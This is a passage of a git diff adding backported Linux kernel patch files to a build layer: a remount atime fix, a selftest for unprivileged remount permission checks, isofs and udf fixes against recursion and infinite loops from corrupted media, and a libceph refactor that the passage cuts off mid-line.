a/recipes-kernel/linux/linux-bass/autopatcher/0086-99dd97b84356-mnt Change the default remount atime from relatime to the existing.patch b/recipes-kernel/linux/linux-bass/autopatcher/0086-99dd97b84356-mnt Change the default remount atime from relatime to the existing.patch new file mode 100644 index 0000000..1d72f9c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0086-99dd97b84356-mnt Change the default remount atime from relatime to the existing.patch @@ -0,0 +1,60 @@ +From 99dd97b843562853e01a134e8d5c13a87d156795 Mon Sep 17 00:00:00 2001 +From: "Eric W. Biederman" +Date: Mon, 28 Jul 2014 17:36:04 -0700 +Subject: mnt: Change the default remount atime from relatime to the existing + value + +commit ffbc6f0ead47fa5a1dc9642b0331cb75c20a640e upstream. + +Since March 2009 the kernel has treated the state that if no +MS_..ATIME flags are passed then the kernel defaults to relatime. + +Defaulting to relatime instead of the existing atime state during a +remount is silly, and causes problems in practice for people who don't +specify any MS_...ATIME flags and to get the default filesystem atime +setting. Those users may encounter a permission error because the +default atime setting does not work. + +A default that does not work and causes permission problems is +ridiculous, so preserve the existing value to have a default +atime setting that is always guaranteed to work. + +Using the default atime setting in this way is particularly +interesting for applications built to run in restricted userspace +environments without /proc mounted, as the existing atime mount +options of a filesystem can not be read from /proc/mounts. + +In practice this fixes user space that uses the default atime +setting on remount that are broken by the permission checks +keeping less privileged users from changing more privileged users +atime settings. + +Acked-by: Serge E. Hallyn +Signed-off-by: "Eric W. Biederman" +Signed-off-by: Greg Kroah-Hartman +--- + fs/namespace.c | 8 ++++++++ + 1 file changed, 8 insertions(+) + +diff --git a/fs/namespace.c b/fs/namespace.c +index 99748ff4065fc..00409add4d966 100644 +--- a/fs/namespace.c ++++ b/fs/namespace.c +@@ -2346,6 +2346,14 @@ long do_mount(const char *dev_name, const char *dir_name, + if (flags & MS_RDONLY) + mnt_flags |= MNT_READONLY; + ++ /* The default atime for remount is preservation */ ++ if ((flags & MS_REMOUNT) && ++ ((flags & (MS_NOATIME | MS_NODIRATIME | MS_RELATIME | ++ MS_STRICTATIME)) == 0)) { ++ mnt_flags &= ~MNT_ATIME_MASK; ++ mnt_flags |= path.mnt->mnt_flags & MNT_ATIME_MASK; ++ } ++ + flags &= ~(MS_NOSUID | MS_NOEXEC | MS_NODEV | MS_ACTIVE | MS_BORN | + MS_NOATIME | MS_NODIRATIME | MS_RELATIME| MS_KERNMOUNT | + MS_STRICTATIME); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0087-bbeed681a5d5-mnt Add tests for unprivileged remount cases that have found to be.patch b/recipes-kernel/linux/linux-bass/autopatcher/0087-bbeed681a5d5-mnt Add tests for unprivileged remount cases that have found to be.patch new file mode 100644 index 0000000..57635c6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0087-bbeed681a5d5-mnt Add tests for unprivileged remount cases that have found to be.patch @@ -0,0 +1,320 @@ +From bbeed681a5d5f845fad2c097920ca8493f2419f6 Mon Sep 17 00:00:00 2001 +From: "Eric W. Biederman" +Date: Tue, 29 Jul 2014 15:50:44 -0700 +Subject: mnt: Add tests for unprivileged remount cases that have found to be + faulty + +commit db181ce011e3c033328608299cd6fac06ea50130 upstream. + +Kenton Varda discovered that by remounting a +read-only bind mount read-only in a user namespace the +MNT_LOCK_READONLY bit would be cleared, allowing an unprivileged user +to the remount a read-only mount read-write. + +Upon review of the code in remount it was discovered that the code allowed +nosuid, noexec, and nodev to be cleared. It was also discovered that +the code was allowing the per mount atime flags to be changed. + +The first naive patch to fix these issues contained the flaw that using +default atime settings when remounting a filesystem could be disallowed. + +To avoid this problems in the future add tests to ensure unprivileged +remounts are succeeding and failing at the appropriate times. + +Acked-by: Serge E. Hallyn +Signed-off-by: "Eric W. Biederman" +Signed-off-by: Greg Kroah-Hartman +--- + tools/testing/selftests/Makefile | 1 + + tools/testing/selftests/mount/Makefile | 17 ++ + .../selftests/mount/unprivileged-remount-test.c | 242 +++++++++++++++++++++ + 3 files changed, 260 insertions(+) + create mode 100644 tools/testing/selftests/mount/Makefile + create mode 100644 tools/testing/selftests/mount/unprivileged-remount-test.c + +diff --git a/tools/testing/selftests/Makefile b/tools/testing/selftests/Makefile +index 0a63658065f0e..2cee2b79b4def 100644 +--- a/tools/testing/selftests/Makefile ++++ b/tools/testing/selftests/Makefile +@@ -4,6 +4,7 @@ TARGETS += efivarfs + TARGETS += kcmp + TARGETS += memory-hotplug + TARGETS += mqueue ++TARGETS += mount + TARGETS += net + TARGETS += ptrace + TARGETS += vm +diff --git a/tools/testing/selftests/mount/Makefile b/tools/testing/selftests/mount/Makefile +new file mode 100644 +index 0000000000000..337d853c2b72e +--- /dev/null ++++ b/tools/testing/selftests/mount/Makefile +@@ -0,0 +1,17 @@ ++# Makefile for mount selftests. ++ ++all: unprivileged-remount-test ++ ++unprivileged-remount-test: unprivileged-remount-test.c ++ gcc -Wall -O2 unprivileged-remount-test.c -o unprivileged-remount-test ++ ++# Allow specific tests to be selected. ++test_unprivileged_remount: unprivileged-remount-test ++ @if [ -f /proc/self/uid_map ] ; then ./unprivileged-remount-test ; fi ++ ++run_tests: all test_unprivileged_remount ++ ++clean: ++ rm -f unprivileged-remount-test ++ ++.PHONY: all test_unprivileged_remount +diff --git a/tools/testing/selftests/mount/unprivileged-remount-test.c b/tools/testing/selftests/mount/unprivileged-remount-test.c +new file mode 100644 +index 0000000000000..1b3ff2fda4d0e +--- /dev/null ++++ b/tools/testing/selftests/mount/unprivileged-remount-test.c +@@ -0,0 +1,242 @@ ++#define _GNU_SOURCE ++#include ++#include ++#include ++#include ++#include ++#include ++#include ++#include ++#include ++#include ++#include ++#include ++#include ++ ++#ifndef CLONE_NEWNS ++# define CLONE_NEWNS 0x00020000 ++#endif ++#ifndef CLONE_NEWUTS ++# define CLONE_NEWUTS 0x04000000 ++#endif ++#ifndef CLONE_NEWIPC ++# define CLONE_NEWIPC 0x08000000 ++#endif ++#ifndef CLONE_NEWNET ++# define CLONE_NEWNET 0x40000000 ++#endif ++#ifndef CLONE_NEWUSER ++# define CLONE_NEWUSER 0x10000000 ++#endif ++#ifndef CLONE_NEWPID ++# define CLONE_NEWPID 0x20000000 ++#endif ++ ++#ifndef MS_RELATIME ++#define MS_RELATIME (1 << 21) ++#endif ++#ifndef MS_STRICTATIME ++#define MS_STRICTATIME (1 << 24) ++#endif ++ ++static void die(char *fmt, ...) ++{ ++ va_list ap; ++ va_start(ap, fmt); ++ vfprintf(stderr, fmt, ap); ++ va_end(ap); ++ exit(EXIT_FAILURE); ++} ++ ++static void write_file(char *filename, char *fmt, ...) ++{ ++ char buf[4096]; ++ int fd; ++ ssize_t written; ++ int buf_len; ++ va_list ap; ++ ++ va_start(ap, fmt); ++ buf_len = vsnprintf(buf, sizeof(buf), fmt, ap); ++ va_end(ap); ++ if (buf_len < 0) { ++ die("vsnprintf failed: %s\n", ++ strerror(errno)); ++ } ++ if (buf_len >= sizeof(buf)) { ++ die("vsnprintf output truncated\n"); ++ } ++ ++ fd = open(filename, O_WRONLY); ++ if (fd < 0) { ++ die("open of %s failed: %s\n", ++ filename, strerror(errno)); ++ } ++ written = write(fd, buf, buf_len); ++ if (written != buf_len) { ++ if (written >= 0) { ++ die("short write to %s\n", filename); ++ } else { ++ die("write to %s failed: %s\n", ++ filename, strerror(errno)); ++ } ++ } ++ if (close(fd) != 0) { ++ die("close of %s failed: %s\n", ++ filename, strerror(errno)); ++ } ++} ++ ++static void create_and_enter_userns(void) ++{ ++ uid_t uid; ++ gid_t gid; ++ ++ uid = getuid(); ++ gid = getgid(); ++ ++ if (unshare(CLONE_NEWUSER) !=0) { ++ die("unshare(CLONE_NEWUSER) failed: %s\n", ++ strerror(errno)); ++ } ++ ++ write_file("/proc/self/uid_map", "0 %d 1", uid); ++ write_file("/proc/self/gid_map", "0 %d 1", gid); ++ ++ if (setgroups(0, NULL) != 0) { ++ die("setgroups failed: %s\n", ++ strerror(errno)); ++ } ++ if (setgid(0) != 0) { ++ die ("setgid(0) failed %s\n", ++ strerror(errno)); ++ } ++ if (setuid(0) != 0) { ++ die("setuid(0) failed %s\n", ++ strerror(errno)); ++ } ++} ++ ++static ++bool test_unpriv_remount(int mount_flags, int remount_flags, int invalid_flags) ++{ ++ pid_t child; ++ ++ child = fork(); ++ if (child == -1) { ++ die("fork failed: %s\n", ++ strerror(errno)); ++ } ++ if (child != 0) { /* parent */ ++ pid_t pid; ++ int status; ++ pid = waitpid(child, &status, 0); ++ if (pid == -1) { ++ die("waitpid failed: %s\n", ++ strerror(errno)); ++ } ++ if (pid != child) { ++ die("waited for %d got %d\n", ++ child, pid); ++ } ++ if (!WIFEXITED(status)) { ++ die("child did not terminate cleanly\n"); ++ } ++ return WEXITSTATUS(status) == EXIT_SUCCESS ? true : false; ++ } ++ ++ create_and_enter_userns(); ++ if (unshare(CLONE_NEWNS) != 0) { ++ die("unshare(CLONE_NEWNS) failed: %s\n", ++ strerror(errno)); ++ } ++ ++ if (mount("testing", "/tmp", "ramfs", mount_flags, NULL) != 0) { ++ die("mount of /tmp failed: %s\n", ++ strerror(errno)); ++ } ++ ++ create_and_enter_userns(); ++ ++ if (unshare(CLONE_NEWNS) != 0) { ++ die("unshare(CLONE_NEWNS) failed: %s\n", ++ strerror(errno)); ++ } ++ ++ if (mount("/tmp", "/tmp", "none", ++ MS_REMOUNT | MS_BIND | remount_flags, NULL) != 0) { ++ /* system("cat /proc/self/mounts"); */ ++ die("remount of /tmp failed: %s\n", ++ strerror(errno)); ++ } ++ ++ if (mount("/tmp", "/tmp", "none", ++ MS_REMOUNT | MS_BIND | invalid_flags, NULL) == 0) { ++ /* system("cat /proc/self/mounts"); */ ++ die("remount of /tmp with invalid flags " ++ "succeeded unexpectedly\n"); ++ } ++ exit(EXIT_SUCCESS); ++} ++ ++static bool test_unpriv_remount_simple(int mount_flags) ++{ ++ return test_unpriv_remount(mount_flags, mount_flags, 0); ++} ++ ++static bool test_unpriv_remount_atime(int mount_flags, int invalid_flags) ++{ ++ return test_unpriv_remount(mount_flags, mount_flags, invalid_flags); ++} ++ ++int main(int argc, char **argv) ++{ ++ if (!test_unpriv_remount_simple(MS_RDONLY|MS_NODEV)) { ++ die("MS_RDONLY malfunctions\n"); ++ } ++ if (!test_unpriv_remount_simple(MS_NODEV)) { ++ die("MS_NODEV malfunctions\n"); ++ } ++ if (!test_unpriv_remount_simple(MS_NOSUID|MS_NODEV)) { ++ die("MS_NOSUID malfunctions\n"); ++ } ++ if (!test_unpriv_remount_simple(MS_NOEXEC|MS_NODEV)) { ++ die("MS_NOEXEC malfunctions\n"); ++ } ++ if (!test_unpriv_remount_atime(MS_RELATIME|MS_NODEV, ++ MS_NOATIME|MS_NODEV)) ++ { ++ die("MS_RELATIME malfunctions\n"); ++ } ++ if (!test_unpriv_remount_atime(MS_STRICTATIME|MS_NODEV, ++ MS_NOATIME|MS_NODEV)) ++ { ++ die("MS_STRICTATIME malfunctions\n"); ++ } ++ if (!test_unpriv_remount_atime(MS_NOATIME|MS_NODEV, ++ MS_STRICTATIME|MS_NODEV)) ++ { ++ die("MS_RELATIME malfunctions\n"); ++ } ++ if (!test_unpriv_remount_atime(MS_RELATIME|MS_NODIRATIME|MS_NODEV, ++ MS_NOATIME|MS_NODEV)) ++ { ++ die("MS_RELATIME malfunctions\n"); ++ } ++ if (!test_unpriv_remount_atime(MS_STRICTATIME|MS_NODIRATIME|MS_NODEV, ++ MS_NOATIME|MS_NODEV)) ++ { ++ die("MS_RELATIME malfunctions\n"); ++ } ++ if (!test_unpriv_remount_atime(MS_NOATIME|MS_NODIRATIME|MS_NODEV, ++ MS_STRICTATIME|MS_NODEV)) ++ { ++ die("MS_RELATIME malfunctions\n"); ++ } ++ if (!test_unpriv_remount(MS_STRICTATIME|MS_NODEV, MS_NODEV, ++ MS_NOATIME|MS_NODEV)) ++ { ++ die("Default atime malfunctions\n"); ++ } ++ return EXIT_SUCCESS; ++} +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0088-d4be3e07222e-isofs Fix unbounded recursion when processing relocated directories.patch b/recipes-kernel/linux/linux-bass/autopatcher/0088-d4be3e07222e-isofs Fix unbounded recursion when processing relocated directories.patch new file mode 100644 index 0000000..fbeb87e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0088-d4be3e07222e-isofs Fix unbounded recursion when processing relocated directories.patch @@ -0,0 +1,208 @@ +From d4be3e07222e7572df4af6c4dd91e4b569a3ce20 Mon Sep 17 00:00:00 2001 +From: Jan Kara +Date: Sun, 17 Aug 2014 11:49:57 +0200 +Subject: isofs: Fix unbounded recursion when processing relocated directories + +commit 410dd3cf4c9b36f27ed4542ee18b1af5e68645a4 upstream. + +We did not check relocated directory in any way when processing Rock +Ridge 'CL' tag. Thus a corrupted isofs image can possibly have a CL +entry pointing to another CL entry leading to possibly unbounded +recursion in kernel code and thus stack overflow or deadlocks (if there +is a loop created from CL entries). + +Fix the problem by not allowing CL entry to point to a directory entry +with CL entry (such use makes no good sense anyway) and by checking +whether CL entry doesn't point to itself. + +Reported-by: Chris Evans +Signed-off-by: Jan Kara +Signed-off-by: Greg Kroah-Hartman +--- + fs/isofs/inode.c | 15 ++++++++------- + fs/isofs/isofs.h | 23 +++++++++++++++++++---- + fs/isofs/rock.c | 39 ++++++++++++++++++++++++++++----------- + 3 files changed, 55 insertions(+), 22 deletions(-) + +diff --git a/fs/isofs/inode.c b/fs/isofs/inode.c +index d3705490ff9ca..10489bbd40fc5 100644 +--- a/fs/isofs/inode.c ++++ b/fs/isofs/inode.c +@@ -69,7 +69,7 @@ static void isofs_put_super(struct super_block *sb) + return; + } + +-static int isofs_read_inode(struct inode *); ++static int isofs_read_inode(struct inode *, int relocated); + static int isofs_statfs (struct dentry *, struct kstatfs *); + + static struct kmem_cache *isofs_inode_cachep; +@@ -1274,7 +1274,7 @@ out_toomany: + goto out; + } + +-static int isofs_read_inode(struct inode *inode) ++static int isofs_read_inode(struct inode *inode, int relocated) + { + struct super_block *sb = inode->i_sb; + struct isofs_sb_info *sbi = ISOFS_SB(sb); +@@ -1419,7 +1419,7 @@ static int isofs_read_inode(struct inode *inode) + */ + + if (!high_sierra) { +- parse_rock_ridge_inode(de, inode); ++ parse_rock_ridge_inode(de, inode, relocated); + /* if we want uid/gid set, override the rock ridge setting */ + if (sbi->s_uid_set) + inode->i_uid = sbi->s_uid; +@@ -1498,9 +1498,10 @@ static int isofs_iget5_set(struct inode *ino, void *data) + * offset that point to the underlying meta-data for the inode. The + * code below is otherwise similar to the iget() code in + * include/linux/fs.h */ +-struct inode *isofs_iget(struct super_block *sb, +- unsigned long block, +- unsigned long offset) ++struct inode *__isofs_iget(struct super_block *sb, ++ unsigned long block, ++ unsigned long offset, ++ int relocated) + { + unsigned long hashval; + struct inode *inode; +@@ -1522,7 +1523,7 @@ struct inode *isofs_iget(struct super_block *sb, + return ERR_PTR(-ENOMEM); + + if (inode->i_state & I_NEW) { +- ret = isofs_read_inode(inode); ++ ret = isofs_read_inode(inode, relocated); + if (ret < 0) { + iget_failed(inode); + inode = ERR_PTR(ret); +diff --git a/fs/isofs/isofs.h b/fs/isofs/isofs.h +index 99167238518d6..0ac4c1f73fbd6 100644 +--- a/fs/isofs/isofs.h ++++ b/fs/isofs/isofs.h +@@ -107,7 +107,7 @@ extern int iso_date(char *, int); + + struct inode; /* To make gcc happy */ + +-extern int parse_rock_ridge_inode(struct iso_directory_record *, struct inode *); ++extern int parse_rock_ridge_inode(struct iso_directory_record *, struct inode *, int relocated); + extern int get_rock_ridge_filename(struct iso_directory_record *, char *, struct inode *); + extern int isofs_name_translate(struct iso_directory_record *, char *, struct inode *); + +@@ -118,9 +118,24 @@ extern struct dentry *isofs_lookup(struct inode *, struct dentry *, unsigned int + extern struct buffer_head *isofs_bread(struct inode *, sector_t); + extern int isofs_get_blocks(struct inode *, sector_t, struct buffer_head **, unsigned long); + +-extern struct inode *isofs_iget(struct super_block *sb, +- unsigned long block, +- unsigned long offset); ++struct inode *__isofs_iget(struct super_block *sb, ++ unsigned long block, ++ unsigned long offset, ++ int relocated); ++ ++static inline struct inode *isofs_iget(struct super_block *sb, ++ unsigned long block, ++ unsigned long offset) ++{ ++ return __isofs_iget(sb, block, offset, 0); ++} ++ ++static inline struct inode *isofs_iget_reloc(struct super_block *sb, ++ unsigned long block, ++ unsigned long offset) ++{ ++ return __isofs_iget(sb, block, offset, 1); ++} + + /* Because the inode number is no longer relevant to finding the + * underlying meta-data for an inode, we are free to choose a more +diff --git a/fs/isofs/rock.c b/fs/isofs/rock.c +index c0bf42472e408..f488bbae541ac 100644 +--- a/fs/isofs/rock.c ++++ b/fs/isofs/rock.c +@@ -288,12 +288,16 @@ eio: + goto out; + } + ++#define RR_REGARD_XA 1 ++#define RR_RELOC_DE 2 ++ + static int + parse_rock_ridge_inode_internal(struct iso_directory_record *de, +- struct inode *inode, int regard_xa) ++ struct inode *inode, int flags) + { + int symlink_len = 0; + int cnt, sig; ++ unsigned int reloc_block; + struct inode *reloc; + struct rock_ridge *rr; + int rootflag; +@@ -305,7 +309,7 @@ parse_rock_ridge_inode_internal(struct iso_directory_record *de, + + init_rock_state(&rs, inode); + setup_rock_ridge(de, inode, &rs); +- if (regard_xa) { ++ if (flags & RR_REGARD_XA) { + rs.chr += 14; + rs.len -= 14; + if (rs.len < 0) +@@ -485,12 +489,22 @@ repeat: + "relocated directory\n"); + goto out; + case SIG('C', 'L'): +- ISOFS_I(inode)->i_first_extent = +- isonum_733(rr->u.CL.location); +- reloc = +- isofs_iget(inode->i_sb, +- ISOFS_I(inode)->i_first_extent, +- 0); ++ if (flags & RR_RELOC_DE) { ++ printk(KERN_ERR ++ "ISOFS: Recursive directory relocation " ++ "is not supported\n"); ++ goto eio; ++ } ++ reloc_block = isonum_733(rr->u.CL.location); ++ if (reloc_block == ISOFS_I(inode)->i_iget5_block && ++ ISOFS_I(inode)->i_iget5_offset == 0) { ++ printk(KERN_ERR ++ "ISOFS: Directory relocation points to " ++ "itself\n"); ++ goto eio; ++ } ++ ISOFS_I(inode)->i_first_extent = reloc_block; ++ reloc = isofs_iget_reloc(inode->i_sb, reloc_block, 0); + if (IS_ERR(reloc)) { + ret = PTR_ERR(reloc); + goto out; +@@ -637,9 +651,11 @@ static char *get_symlink_chunk(char *rpnt, struct rock_ridge *rr, char *plimit) + return rpnt; + } + +-int parse_rock_ridge_inode(struct iso_directory_record *de, struct inode *inode) ++int parse_rock_ridge_inode(struct iso_directory_record *de, struct inode *inode, ++ int relocated) + { +- int result = parse_rock_ridge_inode_internal(de, inode, 0); ++ int flags = relocated ? RR_RELOC_DE : 0; ++ int result = parse_rock_ridge_inode_internal(de, inode, flags); + + /* + * if rockridge flag was reset and we didn't look for attributes +@@ -647,7 +663,8 @@ int parse_rock_ridge_inode(struct iso_directory_record *de, struct inode *inode) + */ + if ((ISOFS_SB(inode->i_sb)->s_rock_offset == -1) + && (ISOFS_SB(inode->i_sb)->s_rock == 2)) { +- result = parse_rock_ridge_inode_internal(de, inode, 14); ++ result = parse_rock_ridge_inode_internal(de, inode, ++ flags | RR_REGARD_XA); + } + return result; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0089-07d209bd092d-udf Avoid infinite loop when processing indirect ICBs.patch b/recipes-kernel/linux/linux-bass/autopatcher/0089-07d209bd092d-udf Avoid infinite loop when processing indirect ICBs.patch new file mode 100644 index 0000000..c12aa43 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0089-07d209bd092d-udf Avoid infinite loop when processing indirect ICBs.patch @@ -0,0 +1,93 @@ +From 07d209bd092d023976fdb881ba6d4b30fe18aebe Mon Sep 17 00:00:00 2001 +From: Jan Kara +Date: Thu, 4 Sep 2014 14:06:55 +0200 +Subject: udf: Avoid infinite loop when processing indirect ICBs + +commit c03aa9f6e1f938618e6db2e23afef0574efeeb65 upstream. + +We did not implement any bound on number of indirect ICBs we follow when +loading inode. Thus corrupted medium could cause kernel to go into an +infinite loop, possibly causing a stack overflow. + +Fix the possible stack overflow by removing recursion from +__udf_read_inode() and limit number of indirect ICBs we follow to avoid +infinite loops. + +Signed-off-by: Jan Kara +Cc: Chuck Ebbert +Signed-off-by: Greg Kroah-Hartman +--- + fs/udf/inode.c | 35 +++++++++++++++++++++-------------- + 1 file changed, 21 insertions(+), 14 deletions(-) + +diff --git a/fs/udf/inode.c b/fs/udf/inode.c +index b6d15d349810f..aa023283cc8a2 100644 +--- a/fs/udf/inode.c ++++ b/fs/udf/inode.c +@@ -1270,13 +1270,22 @@ update_time: + return 0; + } + ++/* ++ * Maximum length of linked list formed by ICB hierarchy. The chosen number is ++ * arbitrary - just that we hopefully don't limit any real use of rewritten ++ * inode on write-once media but avoid looping for too long on corrupted media. ++ */ ++#define UDF_MAX_ICB_NESTING 1024 ++ + static void __udf_read_inode(struct inode *inode) + { + struct buffer_head *bh = NULL; + struct fileEntry *fe; + uint16_t ident; + struct udf_inode_info *iinfo = UDF_I(inode); ++ unsigned int indirections = 0; + ++reread: + /* + * Set defaults, but the inode is still incomplete! + * Note: get_new_inode() sets the following on a new inode: +@@ -1313,28 +1322,26 @@ static void __udf_read_inode(struct inode *inode) + ibh = udf_read_ptagged(inode->i_sb, &iinfo->i_location, 1, + &ident); + if (ident == TAG_IDENT_IE && ibh) { +- struct buffer_head *nbh = NULL; + struct kernel_lb_addr loc; + struct indirectEntry *ie; + + ie = (struct indirectEntry *)ibh->b_data; + loc = lelb_to_cpu(ie->indirectICB.extLocation); + +- if (ie->indirectICB.extLength && +- (nbh = udf_read_ptagged(inode->i_sb, &loc, 0, +- &ident))) { +- if (ident == TAG_IDENT_FE || +- ident == TAG_IDENT_EFE) { +- memcpy(&iinfo->i_location, +- &loc, +- sizeof(struct kernel_lb_addr)); +- brelse(bh); +- brelse(ibh); +- brelse(nbh); +- __udf_read_inode(inode); ++ if (ie->indirectICB.extLength) { ++ brelse(bh); ++ brelse(ibh); ++ memcpy(&iinfo->i_location, &loc, ++ sizeof(struct kernel_lb_addr)); ++ if (++indirections > UDF_MAX_ICB_NESTING) { ++ udf_err(inode->i_sb, ++ "too many ICBs in ICB hierarchy" ++ " (max %d supported)\n", ++ UDF_MAX_ICB_NESTING); ++ make_bad_inode(inode); + return; + } +- brelse(nbh); ++ goto reread; + } + } + brelse(ibh); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0090-2e1dbf27a941-libceph add processoneticket helper.patch b/recipes-kernel/linux/linux-bass/autopatcher/0090-2e1dbf27a941-libceph add processoneticket helper.patch new file mode 100644 index 0000000..43a5474 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0090-2e1dbf27a941-libceph add processoneticket helper.patch @@ -0,0 +1,280 @@ +From 2e1dbf27a941085ba21c23355006f10d297faec9 Mon Sep 17 00:00:00 2001 +From: Ilya Dryomov +Date: Mon, 8 Sep 2014 17:25:34 +0400 +Subject: libceph: add process_one_ticket() helper + +commit 597cda357716a3cf8d994cb11927af917c8d71fa upstream. + +Add a helper for processing individual cephx auth tickets. Needed for +the next commit, which deals with allocating ticket buffers. (Most of +the diff here is whitespace - view with git diff -b). + +Signed-off-by: Ilya Dryomov +Reviewed-by: Sage Weil +Signed-off-by: Greg Kroah-Hartman +--- + net/ceph/auth_x.c | 228 +++++++++++++++++++++++++++++------------------------- + 1 file changed, 124 insertions(+), 104 deletions(-) + +diff --git a/net/ceph/auth_x.c b/net/ceph/auth_x.c +index 96238ba95f2b6..0eb146dce1aa9 100644 +--- a/net/ceph/auth_x.c ++++ b/net/ceph/auth_x.c +@@ -129,17 +129,131 @@ static void remove_ticket_handler(struct ceph_auth_client *ac, + kfree(th); + } + ++static int process_one_ticket(struct ceph_auth_client *ac, ++ struct ceph_crypto_key *secret, ++ void **p, void *end, ++ void *dbuf, void *ticket_buf) ++{ ++ struct ceph_x_info *xi = ac->private; ++ int type; ++ u8 tkt_struct_v, blob_struct_v; ++ struct ceph_x_ticket_handler *th; ++ void *dp, *dend; ++ int dlen; ++ char is_enc; ++ struct timespec validity; ++ struct ceph_crypto_key old_key; ++ void *tp, *tpend; ++ struct ceph_timespec new_validity; ++ struct ceph_crypto_key new_session_key; ++ struct ceph_buffer *new_ticket_blob; ++ unsigned long new_expires, new_renew_after; ++ u64 new_secret_id; ++ int ret; ++ ++ ceph_decode_need(p, end, sizeof(u32) + 1, bad); ++ ++ type = ceph_decode_32(p); ++ dout(" ticket type %d %s\n", type, ceph_entity_type_name(type)); ++ ++ tkt_struct_v = ceph_decode_8(p); ++ if (tkt_struct_v != 1) ++ goto bad; ++ ++ th = get_ticket_handler(ac, type); ++ if (IS_ERR(th)) { ++ ret = PTR_ERR(th); ++ goto out; ++ } ++ ++ /* blob for me */ ++ dlen = ceph_x_decrypt(secret, p, end, dbuf, ++ TEMP_TICKET_BUF_LEN); ++ if (dlen <= 0) { ++ ret = dlen; ++ goto out; ++ } ++ dout(" decrypted %d bytes\n", dlen); ++ dp = dbuf; ++ dend = dp + dlen; ++ ++ tkt_struct_v = ceph_decode_8(&dp); ++ if (tkt_struct_v != 1) ++ goto bad; ++ ++ memcpy(&old_key, &th->session_key, sizeof(old_key)); ++ ret = ceph_crypto_key_decode(&new_session_key, &dp, dend); ++ if (ret) ++ goto out; ++ ++ ceph_decode_copy(&dp, &new_validity, sizeof(new_validity)); ++ ceph_decode_timespec(&validity, &new_validity); ++ new_expires = get_seconds() + validity.tv_sec; ++ new_renew_after = new_expires - (validity.tv_sec / 4); ++ dout(" expires=%lu renew_after=%lu\n", new_expires, ++ new_renew_after); ++ ++ /* ticket blob for service */ ++ ceph_decode_8_safe(p, end, is_enc, bad); ++ tp = ticket_buf; ++ if (is_enc) { ++ /* encrypted */ ++ dout(" encrypted ticket\n"); ++ dlen = ceph_x_decrypt(&old_key, p, end, ticket_buf, ++ TEMP_TICKET_BUF_LEN); ++ if (dlen < 0) { ++ ret = dlen; ++ goto out; ++ } ++ dlen = ceph_decode_32(&tp); ++ } else { ++ /* unencrypted */ ++ ceph_decode_32_safe(p, end, dlen, bad); ++ ceph_decode_need(p, end, dlen, bad); ++ ceph_decode_copy(p, ticket_buf, dlen); ++ } ++ tpend = tp + dlen; ++ dout(" ticket blob is %d bytes\n", dlen); ++ ceph_decode_need(&tp, tpend, 1 + sizeof(u64), bad); ++ blob_struct_v = ceph_decode_8(&tp); ++ new_secret_id = ceph_decode_64(&tp); ++ ret = ceph_decode_buffer(&new_ticket_blob, &tp, tpend); ++ if (ret) ++ goto out; ++ ++ /* all is well, update our ticket */ ++ ceph_crypto_key_destroy(&th->session_key); ++ if (th->ticket_blob) ++ ceph_buffer_put(th->ticket_blob); ++ th->session_key = new_session_key; ++ th->ticket_blob = new_ticket_blob; ++ th->validity = new_validity; ++ th->secret_id = new_secret_id; ++ th->expires = new_expires; ++ th->renew_after = new_renew_after; ++ dout(" got ticket service %d (%s) secret_id %lld len %d\n", ++ type, ceph_entity_type_name(type), th->secret_id, ++ (int)th->ticket_blob->vec.iov_len); ++ xi->have_keys |= th->service; ++ ++out: ++ return ret; ++ ++bad: ++ ret = -EINVAL; ++ goto out; ++} ++ + static int ceph_x_proc_ticket_reply(struct ceph_auth_client *ac, + struct ceph_crypto_key *secret, + void *buf, void *end) + { +- struct ceph_x_info *xi = ac->private; +- int num; + void *p = buf; +- int ret; + char *dbuf; + char *ticket_buf; + u8 reply_struct_v; ++ u32 num; ++ int ret; + + dbuf = kmalloc(TEMP_TICKET_BUF_LEN, GFP_NOFS); + if (!dbuf) +@@ -150,112 +264,18 @@ static int ceph_x_proc_ticket_reply(struct ceph_auth_client *ac, + if (!ticket_buf) + goto out_dbuf; + +- ceph_decode_need(&p, end, 1 + sizeof(u32), bad); +- reply_struct_v = ceph_decode_8(&p); ++ ceph_decode_8_safe(&p, end, reply_struct_v, bad); + if (reply_struct_v != 1) +- goto bad; +- num = ceph_decode_32(&p); +- dout("%d tickets\n", num); +- while (num--) { +- int type; +- u8 tkt_struct_v, blob_struct_v; +- struct ceph_x_ticket_handler *th; +- void *dp, *dend; +- int dlen; +- char is_enc; +- struct timespec validity; +- struct ceph_crypto_key old_key; +- void *tp, *tpend; +- struct ceph_timespec new_validity; +- struct ceph_crypto_key new_session_key; +- struct ceph_buffer *new_ticket_blob; +- unsigned long new_expires, new_renew_after; +- u64 new_secret_id; +- +- ceph_decode_need(&p, end, sizeof(u32) + 1, bad); +- +- type = ceph_decode_32(&p); +- dout(" ticket type %d %s\n", type, ceph_entity_type_name(type)); +- +- tkt_struct_v = ceph_decode_8(&p); +- if (tkt_struct_v != 1) +- goto bad; +- +- th = get_ticket_handler(ac, type); +- if (IS_ERR(th)) { +- ret = PTR_ERR(th); +- goto out; +- } +- +- /* blob for me */ +- dlen = ceph_x_decrypt(secret, &p, end, dbuf, +- TEMP_TICKET_BUF_LEN); +- if (dlen <= 0) { +- ret = dlen; +- goto out; +- } +- dout(" decrypted %d bytes\n", dlen); +- dend = dbuf + dlen; +- dp = dbuf; +- +- tkt_struct_v = ceph_decode_8(&dp); +- if (tkt_struct_v != 1) +- goto bad; ++ return -EINVAL; + +- memcpy(&old_key, &th->session_key, sizeof(old_key)); +- ret = ceph_crypto_key_decode(&new_session_key, &dp, dend); +- if (ret) +- goto out; ++ ceph_decode_32_safe(&p, end, num, bad); ++ dout("%d tickets\n", num); + +- ceph_decode_copy(&dp, &new_validity, sizeof(new_validity)); +- ceph_decode_timespec(&validity, &new_validity); +- new_expires = get_seconds() + validity.tv_sec; +- new_renew_after = new_expires - (validity.tv_sec 